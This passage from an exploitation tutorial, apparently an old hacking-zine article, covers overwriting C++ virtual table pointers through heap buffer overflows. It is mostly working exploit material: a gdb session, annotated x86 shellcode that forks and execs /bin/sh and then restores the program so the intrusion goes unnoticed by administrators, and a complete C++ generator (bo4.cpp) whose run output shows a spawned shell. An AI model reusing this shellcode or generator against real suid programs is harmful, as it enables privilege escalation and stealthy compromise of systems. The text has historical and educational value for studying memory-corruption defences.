  761. 0x80486b4 <main+68>:    pushl  %eax
  762. 0x80486b5 <main+69>:    call   0x80485b0 <BufferOverflow__FUlii>
  763. 0x80486ba <main+74>:    addl   $0xc,%esp
  764. 0x80486bd <main+77>:    movl   %eax,%eax
  765. 0x80486bf <main+79>:    pushl  %eax
  766. 0x80486c0 <main+80>:    movl   0xfffffff8(%ebp),%eax
  767. 0x80486c3 <main+83>:    pushl  %eax
  768. 0x80486c4 <main+84>:    call   0x8048790 <SetBuffer__9BaseClassPc>
  769. 0x80486c9 <main+89>:    addl   $0x8,%esp
  770. 0x80486cc <main+92>:    pushl  $0x80489f6
  771. 0x80486d1 <main+97>:    movl   0xfffffffc(%ebp),%eax
  772. 0x80486d4 <main+100>:   pushl  %eax
  773. 0x80486d5 <main+101>:   call   0x8048790 <SetBuffer__9BaseClassPc>
  774. 0x80486da <main+106>:   addl   $0x8,%esp
  775. 0x80486dd <main+109>:   movl   0xfffffff8(%ebp),%eax
  776. 0x80486e0 <main+112>:   movl   0x20(%eax),%ebx
  777. 0x80486e3 <main+115>:   addl   $0x8,%ebx
  778. 0x80486e6 <main+118>:   movswl (%ebx),%eax
  779. 0x80486e9 <main+121>:   movl   %eax,%edx
  780. 0x80486eb <main+123>:   addl   0xfffffff8(%ebp),%edx
  781. ---Type <return> to continue, or q <return> to quit---
  782. 0x80486ee <main+126>:   pushl  %edx
  783. 0x80486ef <main+127>:   movl   0x4(%ebx),%edi
  784. 0x80486f2 <main+130>:   call   *%edi
  785. 0x80486f4 <main+132>:   addl   $0x4,%esp
  786. 0x80486f7 <main+135>:   movl   0xfffffffc(%ebp),%eax
  787. 0x80486fa <main+138>:   movl   0x20(%eax),%esi
  788. 0x80486fd <main+141>:   addl   $0x8,%esi
  789. 0x8048700 <main+144>:   movswl (%esi),%eax
  790. 0x8048703 <main+147>:   movl   %eax,%edx
  791. 0x8048705 <main+149>:   addl   0xfffffffc(%ebp),%edx
  792. 0x8048708 <main+152>:   pushl  %edx
  793. 0x8048709 <main+153>:   movl   0x4(%esi),%edi
  794. 0x804870c <main+156>:   call   *%edi
  795. 0x804870e <main+158>:   addl   $0x4,%esp
  796. 0x8048711 <main+161>:   xorl   %eax,%eax
  797. 0x8048713 <main+163>:   jmp    0x8048720 <main+176>
  798. 0x8048715 <main+165>:   leal   0x0(%esi,1),%esi
  799. 0x8048719 <main+169>:   leal   0x0(%edi,1),%edi
  800. 0x8048720 <main+176>:   leal   0xffffffec(%ebp),%esp
  801. 0x8048723 <main+179>:   popl   %ebx
  802. 0x8048724 <main+180>:   popl   %esi
  803. 0x8048725 <main+181>:   popl   %edi
  804. 0x8048726 <main+182>:   movl   %ebp,%esp
  805. 0x8048728 <main+184>:   popl   %ebp
  806. ---Type <return> to continue, or q <return> to quit---
  807. 0x8048729 <main+185>:   ret
  808. 0x804872a <main+186>:   leal   0x0(%esi),%esi
  809. End of assembler dump.
  810.  
  811. Next, we install a breakpoint in 0x8048690, to get the address of our 1st 
  812. object.
  813.  
  814. (gdb) break *0x8048690
  815. Breakpoint 1 at 0x8048690
  816.  
  817. And finally, we launch our program:
  818.  
  819. (gdb) run
  820. Starting program: /home/rix/BO/bo3
  821. Breakpoint 1, 0x8048690 in main ()
  822.  
  823. We read the address of our 1st object:
  824.  
  825. (gdb) info reg eax
  826.      eax:  0x8049b38   134519608
  827.  
  828. Then we pursue, while hoping that all happens as foreseen... :)
  829.  
  830. Continuing.
  831. Program received signal SIGTRAP, Trace/breakpoint trap.
  832. 0x8049b58 in ?? ()
  833.  
  834. We receive a SIGTRAP well, provoked by the instruction preceding the 0x8049b58 
  835. address. However, the address of our object was 0x8049b38.
  836. 0x8049b58-1-0x8049b38=0x1F (=31), which is exactly the offset of our CCh in our 
  837. buffer. Therefore, it is well our CCh that has been executed!!!
  838. You understood it, we can now replace our simple CCh code, by a small
  839. shellcode, to get some more interesting results, especially if our program
  840. bo3 is suid... ;)
  841.  
  842.  
  843. Some variations about the method
  844. ================================
  845. We have explain here the simplest exploitable mechanism.
  846. Other more complex cases could possibly appear...
  847. For example, we could have associations between classes like this:
  848.  
  849. class MyClass3 { 
  850. private:
  851.  char Buffer3[32];
  852.  MyClass1 *PtrObjectClass;
  853. public:
  854.  virtual void Function1() {
  855.   ...
  856.   PtrObjectClass1->PrintBuffer();
  857.   ...
  858.  }
  859. };
  860.  
  861. In this case, we have a relation between 2 classes called "link by reference".
  862. Our MyClass3 class contains a pointer to another class. If we overflow the 
  863. buffer in the MyClass3 class, we can overwrite the PtrObjectClass pointer. We
  864. only need to browse a supplementary pointer ;)
  865.  
  866.  
  867.  +----------------------------------------------------+
  868.  |                                                    |
  869.  +-> VTABLE_MyClass3: IIIIIIIIIIIIRRRR                |
  870.                                                      =+==
  871. MyClass3 object: BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBPPPPXXXX
  872.                                                  ==+=
  873.                                                    |
  874.  +---------------------<---------------------------+
  875.  |
  876.  +--> MyClass1 object: CCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCYYYY
  877.                                                        ==+=
  878.                                                          |
  879.  +-------------------------------------------------------+
  880.  |
  881.  +--> VTABLE_MyClass1: IIIIIIIIIIIIQQQQ
  882.  
  883. Where: B represents bytes of the Buffer of MyClass4.
  884.        C represents bytes of the Buffer of MyClass1.
  885.        P represents bytes of a pointer to a MyClass1 object class.
  886.        X represents bytes of the possible VPTR of the MyClass4 object class.
  887.         (it is not necessary to have a VPTR in the class containing the
  888.         pointer).
  889.        Y represent bytes of the VPTR of the MyClass1 object class.
  890.  
  891. This technique doesn't depend here on the structure of the internal class to 
  892. the compiler (offset of VPTR), but depend of the structure of the class
  893. defined by the programmer, and dus it can even be exploited in programs coming
  894. from compilers placing the VPTR at the beginning of the object in memory (for 
  895. example Visual C++).
  896. Besides, in this case, the MyClass3 object class possibly have been created
  897. on the stack (local object), what makes that localization is a lot easier,
  898. being given that the address of the object will probably be fixed. However, in
  899. this case, it will be necessary that our stack be executable, and not our heap
  900. as previously.
  901.  
  902. We know how to find the values for 2 of the 3 parameters of our
  903. BufferOverflow() function (number of VTABLE addresses, and offset of the VPTR)
  904. Indeed these 2 parameters can be easily founded in debugging the code of the 
  905. program, and besides, their value is fixed from on execution to another.
  906. On the other hand, the 1st parameter (address of the object in memory), is
  907. more difficult to establish. In fact, we need this address only because we
  908. want to place the VTABLE that we created into the buffer.
  909.  
  910.  
  911. ----|  A particular example
  912.  
  913. Let's suppose that we have a class whose last variable is an exploitable 
  914. buffer.  This means that if we fill this buffer (for example of size N bytes),
  915. with N + 4 bytes, we know that we don't have modify anything else in the space
  916. memory of the process that the content of our buffer, the VPTR, and the
  917. byte following our VPTR (because character 00h).
  918.  
  919. Perhaps could we take advantage of this situation.  But how?  We are going to
  920. use the buffer, to launch a shellcode, and next to follow the execution of the
  921. program!  The advantage will be enormous, since the program would not be
  922. finished brutally, and dus will not alert someone eventually controlling or
  923. logging its execution (administrators...).
  924.  
  925. Is it possible?
  926. It would be necessary to first execute our shellcode, to rewrite a chain in
  927. our buffer, and to restore the stack in the initial state (just before the
  928. call of our method). Then, it would only remain us to recall the initial
  929. method, so that the program normally continues.
  930.  
  931. Here are several remarks and problems that we are going to meet:
  932. - it is necessary to completely rewrite our buffer (so that the continuation
  933.  of the execution uses appropriate values), and therefore to overwrite our own
  934.  shellcode.
  935.  To avoid it, we are going to copy a part of our shellcode (the smallest part 
  936.  as possible ) to another place in memory.
  937.  In this case we are going to copy a part of our shellcode to the stack (we 
  938.  will call this part of code "stackcode"). It should not pose any particularly 
  939.  problems if our stack is executable. 
  940. - We had mentioned before a "strange handling", that consisted to add an
  941.  offset to the address of our object, and to place this result on the stack,
  942.  what provided the This pointer to the executed method.
  943.  The problem is, that here, the offset that is going to be added to the
  944.  address of our object is going to be took in our VTABLE, and that this offset
  945.  cannot be 0 (because we cannot have 00h bytes in our buffer).
  946.  We are going to choose an arbitrary value for this offset, that we will place 
  947.  in our VTABLE, and correct the This value on the stack later, with a
  948.  corresponding subtraction.
  949. - we are going to make a fork () on our process, to launch the execution of
  950.  the shell (exec ()), and to wait for its termination (wait ()), to continue
  951.  our execution of the main program.
  952. - the address where we will continue our execution is constant, because it is
  953.  the address of the original method (presents in the VTABLE of our object's
  954.  relative class).
  955. - we know that we can use our EAX register, because this one would be
  956.  overwritten in any case by our method's return value.
  957. - we cannot include any 00h byte in our buffer. We then should regenerate
  958.  these bytes (necessary for our strings) at run time.
  959.  
  960. While applying all these important points, we are going to try to construct a 
  961. buffer according to the following diagram:
  962.  
  963.  +------------------------------------<-(1)---------------------------------+
  964.  |   our VTABLE                                                             |
  965. =+===================                                                     ==+=
  966. 9999TT999999.... MMMM SSSS0000/bin/shAAA.... A BBB... Bnewstring99999.... VVVVL
  967.                  ==+= ==+=    |      |       | ========
  968.                    |    |     |      |       |      \
  969.                    |    +-->--+      |       |        \(a copy on the stack)
  970.            |                 |       |      ========
  971.            +---(2)-->--------+       |      BBB... B
  972.                                              |      |      |
  973.                                              +-(3)->+      +--> old method
  974.  
  975. Where: 9 represent NOP bytes (90h).
  976.        T represents bytes forming the word of the offset who will be added to
  977.         the pointer on the stack (strange handling ;).
  978.        M represents the address in our buffer of the beginning of our
  979.         shellcode.
  980.        S represents the address in our buffer of the "/bin/sh" string.
  981.        0 represented 90h bytes, who will be initialized to 00h at run time 
  982.         (necessary for exec ()).
  983.        /bin/sh represents the "/bin/sh" string, without any 00h termination
  984.         byte.
  985.        A represents a byte of our shellcode (principally to run the shell, then
  986.         to copy the stackcode on the stack and to run it).
  987.        B represents a byte of our stackcode (principally to reset our buffer
  988.         with a new string, and to run the original method to continue the
  989.         execution of the original program.
  990.        newstring represents the "newstring" string, that will be recopied in
  991.         the buffer after execution of the shell, to continue the execution.
  992.        V represents a byte of the VPTR, that must point back to the beginning
  993.         of our buffer (to our VTABLE).
  994.        L represents the byte that will be copy after the VPTR, and that will
  995.         be a 0hh byte.
  996.  
  997. In a more detailed manner, here are the content of our shellcode and
  998. stackcode:
  999.  
  1000.  
  1001. pushl  %ebp                             //save existing EBP
  1002. movl   %esp,%ebp                        //stack frame creation
  1003. xorl   %eax,%eax                        //EAX=0
  1004. movb   $0x31,%al                        //EAX=$StackCodeSize (size of the code
  1005.                                         // who will be copied to the stack)
  1006. subl   %eax,%esp                        //creation of a local variable to
  1007.                                         // contain our stackcode
  1008. pushl  %edi
  1009. pushl  %esi
  1010. pushl  %edx
  1011. pushl  %ecx
  1012. pushl  %ebx                             //save registers
  1013. pushf                                   //save flags
  1014. cld                                     //direction flag=incrementation
  1015. xorl   %eax,%eax                        //EAX=0
  1016. movw   $0x101,%ax                       //EAX=$AddThis (value added for
  1017.                                         // calculating This on the stack)
  1018. subl   %eax,0x8(%ebp)                   //we substract this value from the
  1019.                                         // current This value on the stack, to
  1020.                                         // restore the original This.
  1021. xorl   %eax,%eax                        //EAX=0
  1022. movl   $0x804a874,%edi                  //EDI=$BufferAddress+$NullOffset
  1023.                                         // (address of NULL dword in our
  1024.                                         // buffer)
  1025. stosl  %eax,%es:(%edi)                  //we write this NULL in the buffer
  1026. movl   $0x804a87f,%edi                  //EDI=$BufferAddress+$BinSh00Offset
  1027.                                         // (address of 00h from "/bin/sh")
  1028. stosb  %al,%es:(%edi)                   //we write this 00h at the end of
  1029.                                         // "/bin/sh"
  1030. movb   $0x2,%al
  1031. int    $0x80                            //fork()
  1032. xorl   %edx,%edx                        //EDX=0
  1033. cmpl   %edx,%eax
  1034. jne    0x804a8c1                        //if EAX=0 then jump to LFATHER
  1035.                                         // (EAX=0 if father process)
  1036.  
  1037. movb   $0xb,%al                         //else we are the child process
  1038. movl   $0x804a878,%ebx                  //EBX=$BufferAddress+$BinShOffset
  1039.                                         // (address of "/bin/sh")
  1040. movl   $0x804a870,%ecx            //ECX=$BufferAddress+$BinShAddressOffset
  1041.                                         // (adresse of address of "/bin/sh")
  1042. xorl   %edx,%edx                        //EDX=0h (NULL)
  1043. int    $0x80                            //exec() "/bin/sh"
  1044.  
  1045. LFATHER:
  1046. movl   %edx,%esi                        //ESI=0
  1047. movl   %edx,%ecx            //ECX=0
  1048. movl   %edx,%ebx            //EBX=0
  1049. notl   %ebx                //EBX=0xFFFFFFFF
  1050. movl   %edx,%eax            //EAX=0
  1051. movb   $0x72,%al            //EAX=0x72
  1052. int    $0x80                            //wait() (wait an exit from the shell)
  1053. xorl   %ecx,%ecx            //ECX=0
  1054. movb   $0x31,%cl            //ECX=$StackCodeSize
  1055. movl   $0x804a8e2,%esi            //ESI=$BufferAddress+$StackCodeOffset
  1056.                                         // (address of beginning of the
  1057.                                         // stackcode)
  1058. movl   %ebp,%edi                        //EDI point to the end of or local
  1059.                                         // variable
  1060. subl   %ecx,%edi                        //EDI point to the beginning of or
  1061.                                         // local variable
  1062. movl   %edi,%edx                        //EDX also point to the beginning of
  1063.                                         // or local variable
  1064. repz movsb %ds:(%esi),%es:(%edi)        //copy our stackcode into our local
  1065.                                         // variable on the stack
  1066. jmp    *%edx                            //run our stackcode on the stack
  1067.  
  1068. stackcode:
  1069. movl   $0x804a913,%esi            //ESI=$BufferAddress+$NewBufferOffset
  1070.                                         // (point to the new string we want to
  1071.                                         // rewrite in the buffer)
  1072. movl   $0x804a860,%edi                  //EDI=$BufferAddress (point to the
  1073.                                         // beginning of our buffer)
  1074. xorl   %ecx,%ecx            //ECX=0
  1075. movb   $0x9,%cl                         //ECX=$NewBufferSize (length of the
  1076.                                         // new string)
  1077. repz movsb %ds:(%esi),%es:(%edi)        //copy the new string at the
  1078.                                         // beginning of our buffer
  1079. xorb   %al,%al                //AL=0
  1080. stosb  %al,%es:(%edi)                   //put a 00h at the end of the string
  1081. movl   $0x804a960,%edi            //EDI=$BufferAddress+$VPTROffset
  1082.                                         // (address of VPTR)
  1083. movl   $0x8049730,%eax                  //EAX=$VTABLEAddress (adresse of the
  1084.                                         // original VTABLE from our class)
  1085. movl   %eax,%ebx            //EBX=$VTABLEAddress
  1086. stosl  %eax,%es:(%edi)                  //correct the VPTR to point to the
  1087.                                         // original VTABLE
  1088. movb   $0x29,%al                        //AL=$LastByte (byte following the
  1089.                                         // VPTR in memory)
  1090. stosb  %al,%es:(%edi)                   //we correct this byte
  1091. movl   0xc(%ebx),%eax            //EAX=*VTABLEAddress+IAddress*4
  1092.                                         // (EAX take the address of the
  1093.                                         // original method in the original
  1094.                                         // VTABLE).
  1095. popf
  1096. popl   %ebx
  1097. popl   %ecx
  1098. popl   %edx
  1099. popl   %esi
  1100. popl   %edi                             //restore flags and registers
  1101. movl   %ebp,%esp
  1102. popl   %ebp                             //destroy the stack frame
  1103. jmp    *%eax                            //run the original method
  1104.  
  1105.  
  1106. We now must code a BufferOverflow() function that is going to "compile" us the 
  1107. shellcode and the stackcode, and to create the structure of our buffer.
  1108. Here are parameters that we should pass to this function:
  1109. - BufferAddress = address of our buffer in memory.
  1110. - IAddress = index in the VTABLE of the 1st method that will be executed.
  1111. - VPTROffset = offset in our buffer of the VPTR to overwrite.
  1112. - AddThis = value that will be added to the This pointer on the stack, because 
  1113. of the "strange handling".
  1114. - VTABLEAddress = address of the original VTABLE of our class (coded in the 
  1115. executable).
  1116. - *NewBuffer = a pointer to the new chain that we want to place in our buffer 
  1117. to normally continue the program.
  1118. - LastByte = the original byte following the VPTR in memory, that is
  1119.  overwritten at the time of the copy of our buffer in the original buffer,
  1120.  because of the 00h.
  1121.  
  1122. Here is the resulting code of the program (bo4.cpp):
  1123.  
  1124.  
  1125. #include <stdio.h>
  1126. #include <string.h>
  1127. #include <malloc.h>
  1128.  
  1129. #define BUFFERSIZE 256
  1130.  
  1131. class BaseClass { 
  1132. private:
  1133.  char Buffer[BUFFERSIZE];
  1134. public:
  1135.  void SetBuffer(char *String) {
  1136.   strcpy(Buffer,String);
  1137.  }
  1138.  virtual void PrintBuffer() {
  1139.   printf("%s\n",Buffer);
  1140.  }
  1141. };
  1142.  
  1143. class MyClass1:public BaseClass {
  1144. public:
  1145.  void PrintBuffer() {
  1146.   printf("MyClass1: ");
  1147.   BaseClass::PrintBuffer();
  1148.  }
  1149. };
  1150.  
  1151. class MyClass2:public BaseClass {
  1152. public:
  1153.  void PrintBuffer() {
  1154.   printf("MyClass2: ");
  1155.   BaseClass::PrintBuffer();
  1156.  }
  1157. };
  1158.  
  1159. char *BufferOverflow(unsigned long BufferAddress,int IAddress,int VPTROffset,
  1160.  unsigned short AddThis,unsigned long VTABLEAddress,char *NewBuffer,char LastByte) {
  1161.  
  1162.  char *CBuf;
  1163.  unsigned long *LBuf;
  1164.  unsigned short *SBuf;
  1165.  char BinShSize,ShellCodeSize,StackCodeSize,NewBufferSize;
  1166.  unsigned long i,  
  1167.   MethodAddressOffset,BinShAddressOffset,NullOffset,BinShOffset,BinSh00Offset,
  1168.   ShellCodeOffset,StackCodeOffset,
  1169.   NewBufferOffset,NewBuffer00Offset,
  1170.   LastByteOffset;  
  1171.  char *BinSh="/bin/sh";
  1172.  
  1173.  CBuf=(char*)malloc(VPTROffset+4+1);
  1174.  LBuf=(unsigned long*)CBuf;
  1175.  
  1176.  BinShSize=(char)strlen(BinSh);
  1177.  ShellCodeSize=0x62;
  1178.  StackCodeSize=0x91+2-0x62;
  1179.  NewBufferSize=(char)strlen(NewBuffer);
  1180.  
  1181.  MethodAddressOffset=IAddress*4;
  1182.  BinShAddressOffset=MethodAddressOffset+4;
  1183.  NullOffset=MethodAddressOffset+8;
  1184.  BinShOffset=MethodAddressOffset+12;
  1185.  BinSh00Offset=BinShOffset+(unsigned long)BinShSize;
  1186.  ShellCodeOffset=BinSh00Offset+1;
  1187.  StackCodeOffset=ShellCodeOffset+(unsigned long)ShellCodeSize;
  1188.  NewBufferOffset=StackCodeOffset+(unsigned long)StackCodeSize;
  1189.  NewBuffer00Offset=NewBufferOffset+(unsigned long)NewBufferSize;
  1190.  LastByteOffset=VPTROffset+4;
  1191.  
  1192.  for (i=0;i<VPTROffset;i++) CBuf[i]='\x90'; //NOPs
  1193.  SBuf=(unsigned short*)&LBuf[2];
  1194.  *SBuf=AddThis; //added  to the This pointer on the stack
  1195.  
  1196.  LBuf=(unsigned long*)&CBuf[MethodAddressOffset];
  1197.  *LBuf=BufferAddress+ShellCodeOffset; //shellcode's address
  1198.  
  1199.  LBuf=(unsigned long*)&CBuf[BinShAddressOffset];
  1200.  *LBuf=BufferAddress+BinShOffset; //address of "/bin/sh"
  1201.  
  1202.  memcpy(&CBuf[BinShOffset],BinSh,BinShSize); //"/bin/sh" string
  1203.  
  1204.  //shellcode:
  1205.   
  1206.  i=ShellCodeOffset;
  1207.  CBuf[i++]='\x55';                                   //pushl %ebp
  1208.  CBuf[i++]='\x89';CBuf[i++]='\xE5';                  //movl %esp,%ebp
  1209.  CBuf[i++]='\x31';CBuf[i++]='\xC0';                  //xorl %eax,%eax
  1210.  CBuf[i++]='\xB0';CBuf[i++]=StackCodeSize;           //movb $StackCodeSize,%al
  1211.  CBuf[i++]='\x29';CBuf[i++]='\xC4';                  //subl %eax,%esp
  1212.  
  1213.  CBuf[i++]='\x57';                                   //pushl %edi
  1214.  CBuf[i++]='\x56';                                   //pushl %esi
  1215.  CBuf[i++]='\x52';                                   //pushl %edx 
  1216.  CBuf[i++]='\x51';                                   //pushl %ecx 
  1217.  CBuf[i++]='\x53';                                   //pushl %ebx  
  1218.  CBuf[i++]='\x9C';                                   //pushf
  1219.  
  1220.  CBuf[i++]='\xFC';                                   //cld
  1221.  
  1222.  CBuf[i++]='\x31';CBuf[i++]='\xC0';                  //xorl %eax,%eax
  1223.  CBuf[i++]='\x66';CBuf[i++]='\xB8';                  //movw $AddThis,%ax
  1224.  SBuf=(unsigned short*)&CBuf[i];*SBuf=AddThis;i=i+2;
  1225.  CBuf[i++]='\x29';CBuf[i++]='\x45';CBuf[i++]='\x08'; //subl %eax,0x8(%ebp)
  1226.  
  1227.  CBuf[i++]='\x31';CBuf[i++]='\xC0';                  //xorl %eax,%eax
  1228.  
  1229.  CBuf[i++]='\xBF';                        //movl $BufferAddress+$NullOffset,%edi
  1230.  LBuf=(unsigned long*)&CBuf[i];*LBuf=BufferAddress+NullOffset;i=i+4;  
  1231.  CBuf[i++]='\xAB';                                   //stosl %eax,%es:(%edi)
  1232.  
  1233.  CBuf[i++]='\xBF';                     //movl $BufferAddress+$BinSh00Offset,%edi
  1234.  LBuf=(unsigned long*)&CBuf[i];*LBuf=BufferAddress+BinSh00Offset;i=i+4;
  1235.  CBuf[i++]='\xAA';                                   //stosb %al,%es:(%edi)
  1236.  
  1237.  CBuf[i++]='\xB0';CBuf[i++]='\x02';                  //movb $0x2,%al
  1238.  CBuf[i++]='\xCD';CBuf[i++]='\x80';                  //int $0x80 (fork())
  1239.  
  1240.  CBuf[i++]='\x31';CBuf[i++]='\xD2';                  //xorl %edx,%edx
  1241.  CBuf[i++]='\x39';CBuf[i++]='\xD0';                  //cmpl %edx,%eax
  1242.  CBuf[i++]='\x75';CBuf[i++]='\x10';                  //jnz +$0x10 (-> LFATHER)
  1243.  
  1244.  CBuf[i++]='\xB0';CBuf[i++]='\x0B';                  //movb $0xB,%al
  1245.  CBuf[i++]='\xBB';                       //movl $BufferAddress+$BinShOffset,%ebx
  1246.  LBuf=(unsigned long*)&CBuf[i];*LBuf=BufferAddress+BinShOffset;i=i+4; 
  1247.  CBuf[i++]='\xB9';                //movl $BufferAddress+$BinShAddressOffset,%ecx
  1248.  LBuf=(unsigned long*)&CBuf[i];*LBuf=BufferAddress+BinShAddressOffset;i=i+4; 
  1249.  CBuf[i++]='\x31';CBuf[i++]='\xD2';                  //xorl %edx,%edx
  1250.  CBuf[i++]='\xCD';CBuf[i++]='\x80';                  //int $0x80 (execve())
  1251.  
  1252.                                                      //LFATHER:
  1253.  CBuf[i++]='\x89';CBuf[i++]='\xD6';                  //movl %edx,%esi
  1254.  CBuf[i++]='\x89';CBuf[i++]='\xD1';                  //movl %edx,%ecx
  1255.  CBuf[i++]='\x89';CBuf[i++]='\xD3';                  //movl %edx,%ebx
  1256.  CBuf[i++]='\xF7';CBuf[i++]='\xD3';                  //notl %ebx
  1257.  CBuf[i++]='\x89';CBuf[i++]='\xD0';                  //movl %edx,%eax
  1258.  CBuf[i++]='\xB0';CBuf[i++]='\x72';                  //movb $0x72,%al
  1259.  CBuf[i++]='\xCD';CBuf[i++]='\x80';                  //int $0x80 (wait())
  1260.  
  1261.  CBuf[i++]='\x31';CBuf[i++]='\xC9';                  //xorl %ecx,%ecx
  1262.  CBuf[i++]='\xB1';CBuf[i++]=StackCodeSize;           //movb $StackCodeSize,%cl
  1263.  
  1264.  CBuf[i++]='\xBE';                   //movl $BufferAddress+$StackCodeOffset,%esi
  1265.  LBuf=(unsigned long*)&CBuf[i];*LBuf=BufferAddress+StackCodeOffset;i=i+4; 
  1266.  
  1267.  CBuf[i++]='\x89';CBuf[i++]='\xEF';                  //movl %ebp,%edi
  1268.  CBuf[i++]='\x29';CBuf[i++]='\xCF';                  //subl %ecx,%edi
  1269.  CBuf[i++]='\x89';CBuf[i++]='\xFA';                  //movl %edi,%edx
  1270.  
  1271.  CBuf[i++]='\xF3';CBuf[i++]='\xA4';           //repz movsb %ds:(%esi),%es:(%edi)
  1272.  
  1273.  CBuf[i++]='\xFF';CBuf[i++]='\xE2';                  //jmp *%edx (stackcode)
  1274.  
  1275.  //stackcode:
  1276.  
  1277.  CBuf[i++]='\xBE';                   //movl $BufferAddress+$NewBufferOffset,%esi
  1278.  
  1279.  LBuf=(unsigned long*)&CBuf[i];*LBuf=BufferAddress+NewBufferOffset;i=i+4; 
  1280.  CBuf[i++]='\xBF';                                   //movl $BufferAddress,%edi
  1281.  LBuf=(unsigned long*)&CBuf[i];*LBuf=BufferAddress;i=i+4; 
  1282.  CBuf[i++]='\x31';CBuf[i++]='\xC9';                  //xorl %ecx,%ecx
  1283.  CBuf[i++]='\xB1';CBuf[i++]=NewBufferSize;           //movb $NewBufferSize,%cl
  1284.  CBuf[i++]='\xF3';CBuf[i++]='\xA4';           //repz movsb %ds:(%esi),%es:(%edi)
  1285.  
  1286.  CBuf[i++]='\x30';CBuf[i++]='\xC0';                  //xorb %al,%al
  1287.  CBuf[i++]='\xAA';                                   //stosb %al,%es:(%edi)
  1288.  
  1289.  CBuf[i++]='\xBF';                        //movl $BufferAddress+$VPTROffset,%edi
  1290.  LBuf=(unsigned long*)&CBuf[i];*LBuf=BufferAddress+VPTROffset;i=i+4; 
  1291.  CBuf[i++]='\xB8';                                   //movl $VTABLEAddress,%eax
  1292.  LBuf=(unsigned long*)&CBuf[i];*LBuf=VTABLEAddress;i=i+4; 
  1293.  CBuf[i++]='\x89';CBuf[i++]='\xC3';                  //movl %eax,%ebx
  1294.  CBuf[i++]='\xAB';                                   //stosl %eax,%es:(%edi)
  1295.  
  1296.  CBuf[i++]='\xB0';CBuf[i++]=LastByte;                //movb $LastByte,%al
  1297.  CBuf[i++]='\xAA';                                   //stosb %al,%es:(%edi)
  1298.  
  1299.  CBuf[i++]='\x8B';CBuf[i++]='\x43';
  1300.  CBuf[i++]=(char)4*IAddress;                       //movl $4*Iaddress(%ebx),%eax
  1301.  
  1302.  CBuf[i++]='\x9D';                                   //popf
  1303.  CBuf[i++]='\x5B';                                   //popl %ebx
  1304.  CBuf[i++]='\x59';                                   //popl %ecx
  1305.  CBuf[i++]='\x5A';                                   //popl %edx
  1306.  CBuf[i++]='\x5E';                                   //popl %esi
  1307.  CBuf[i++]='\x5F';                                   //popl %edi
  1308.  
  1309.  CBuf[i++]='\x89';CBuf[i++]='\xEC';                  //movl %ebp,%esp
  1310.  CBuf[i++]='\x5D';                                   //popl %ebp
  1311.  
  1312.  CBuf[i++]='\xFF';CBuf[i++]='\xE0';                  //jmp *%eax
  1313.  
  1314.  memcpy(&CBuf[NewBufferOffset],NewBuffer,(unsigned long)NewBufferSize);
  1315.   //insert the new string into the buffer
  1316.  
  1317.  LBuf=(unsigned long*)&CBuf[VPTROffset];
  1318.  *LBuf=BufferAddress; //address of our VTABLE
  1319.  
  1320.  CBuf[LastByteOffset]=0; //last byte (for strcpy())
  1321.  
  1322.  return CBuf;
  1323. }
  1324.  
  1325. void main() {
  1326.  BaseClass *Object[2];
  1327.  unsigned long *VTABLEAddress;
  1328.  
  1329.  Object[0]=new MyClass1;
  1330.  Object[1]=new MyClass2; 
  1331.  
  1332.  printf("Object[0] address = %X\n",(unsigned long)&(*Object[0])); 
  1333.  VTABLEAddress=(unsigned long*) ((char*)&(*Object[0])+256);
  1334.  printf("VTable address = %X\n",*VTABLEAddress);
  1335.  
  1336.  Object[0]->SetBuffer(BufferOverflow((unsigned long)&(*Object[0]),3,BUFFERSIZE,
  1337.   0x0101,*VTABLEAddress,"newstring",0x29)); 
  1338.   
  1339.  Object[1]->SetBuffer("string2");
  1340.  Object[0]->PrintBuffer();
  1341.  Object[1]->PrintBuffer();
  1342. }
  1343.  
  1344.  
  1345. Now, we are ready to compile and to check...
  1346.  
  1347. rix@pentium:~/BO > gcc -o bo4 bo4.cpp
  1348. rix@pentium:~/BO > bo4
  1349. adresse Object[0] = 804A860
  1350. adresse VTable = 8049730
  1351. sh-2.02$ exit
  1352. exit
  1353. MyClass1: newstring
  1354. MyClass2: string2
  1355. rix@pentium:~/BO >
  1356.  
  1357. And as foreseen, our shell executes himself, then the program continue its
  1358. execution, with a new string in the buffer ("newstring ")!!!
  1359.  
  1360.  
  1361. Conclusion
  1362. ==========
  1363. To summarize, let's note that the basis technique requires the following 
  1364. conditions for success:
  1365. - a buffer of a certain minimal size
  1366. - suid program
  1367. - executable heap and/or executable stack (according to techniques)
  1368. - to know the address of the beginning of the buffer (on the heap or on the 
  1369.    stack)
  1370. - to know the offset from the beginning of the buffer of the VPTR (fixed for
  1371.    all executions)
  1372. - to know the offset in the VTABLE of the pointer to the 1st method executed 
  1373.    after the overflow (fixed for all executions)
  1374. - to know the address of the VTABLE if we want to continue the execution of
  1375.    the program correctly.
  1376.  
  1377. I hope this article will have once again show you how pointers (more and more 
  1378. used in modern programming ) can be very dangerous in some particular cases. 
  1379.  
  1380. We notice that some languages as powerful as C++, always include some 
  1381. weakness, and that this is not with a particular language or tools that a 
  1382. program becomes secured, but mainly because of the knowledge and expertise
  1383. of its conceivers...
  1384.  
  1385. Thanks to: route, klog, mayhem, nite, darkbug.
  1386.  
  1387. |EOF|-------------------------------------------------------------------------|
  1388.